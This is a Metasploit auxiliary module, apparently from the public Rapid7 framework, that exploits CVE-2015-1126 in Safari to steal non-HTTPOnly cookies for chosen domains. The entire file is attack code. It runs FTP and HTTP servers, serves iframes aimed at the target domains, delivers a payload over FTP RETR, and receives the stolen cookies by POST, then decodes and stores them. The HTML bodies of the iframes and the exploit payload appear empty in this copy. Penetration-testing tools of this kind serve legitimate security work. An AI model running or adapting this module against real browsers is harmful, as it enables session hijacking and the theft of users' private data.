## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft', 'Description' => %q{ A vulnerability exists in versions of OSX, iOS, and Windows Safari released before April 8, 2015 that allows the non-HTTPOnly cookies of any domain to be stolen. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jouko Pynnonen', # Initial discovery and disclosure 'joev', # msf module ], 'References' => [ [ 'CVE', '2015-1126' ], [ 'URL', 'https://seclists.org/fulldisclosure/2015/Apr/30' ] ], 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer', 'DisclosureDate' => '2015-04-08' )) register_options([ OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']), OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]), OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]), OptString.new('TARGET_DOMAINS', [ true, 'The comma-separated list of domains to steal non-HTTPOnly cookies from.', 'apple.com,example.com' ]) ]) end # # Start the FTP and HTTP server # def run start_service print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") start_http @http_service.wait end # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http(opts={}) # Ensture all dependencies are present before initializing HTTP use_zlib comm = datastore['ListenerComm'] if comm.to_s == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil end # Default the server host / port opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self, }, opts['Comm'], datastore['SSLCert'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore['SSL'] ? 'https' : 'http') print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if opts['ServerHost'] == '0.0.0.0' print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) end # # Lookup the right address for the client # def lookup_lhost(c=nil) # Get the source address if datastore['SRVHOST'] == '0.0.0.0' Rex::Socket.source_address( c || '50.50.50.50') else datastore['SRVHOST'] end end # # Handle the FTP RETR request. This is where we transfer our actual malicious payload # def on_client_command_retr(c, arg) conn = establish_data_connection(c) unless conn c.put("425 can't build data connection\r\n") return end print_status('Connection for file transfer accepted') c.put("150 Connection accepted\r\n") # Send out payload conn.put(exploit_html) c.put("226 Transfer complete.\r\n") conn.close end # # Kill HTTP/FTP (shut them down and clear resources) # def cleanup super # clear my resource, deregister ref, stop/close the HTTP socket begin @http_service.remove_resource(@uri_path) @http_service.deref @http_service.stop @http_service.close @http_service = nil rescue end end # # Ensures that gzip can be used. If not, an exception is generated. The # exception is only raised if the DisableGzip advanced option has not been # set. # def use_zlib unless Rex::Text.zlib_present? || !datastore['HTTP::compression'] fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end # # Returns the configured (or random, if not configured) URI path # def resource_uri return @uri_path if @uri_path @uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8)) @uri_path = '/' + @uri_path if @uri_path !~ /^\// @uri_path end # # Handle HTTP requests and responses # def on_request_uri(cli, request) if request.method.downcase == 'post' json = JSON.parse(request.body) domain = json['domain'] cookie = Rex::Text.decode_base64(json['p']).to_s if cookie.length == 0 print_error("#{cli.peerhost}: No cookies found for #{domain}") else file = store_loot( "cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies' ) print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ") print_good(file) end send_response(cli, 200, 'OK', '') else domains = datastore['TARGET_DOMAINS'].split(',') iframes = domains.map do |domain| %Q|| end html = <<-HTML #{iframes.join} HTML send_response(cli, 200, 'OK', html) end end # # Create an HTTP response and then send it # def send_response(cli, code, message='OK', html='') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) res['Content-Type'] = 'text/html' res.body = html cli.send_response(res) end def exploit_html <<-HTML HTML end def grab_key @grab_key ||= Rex::Text.rand_text_alphanumeric(8) end end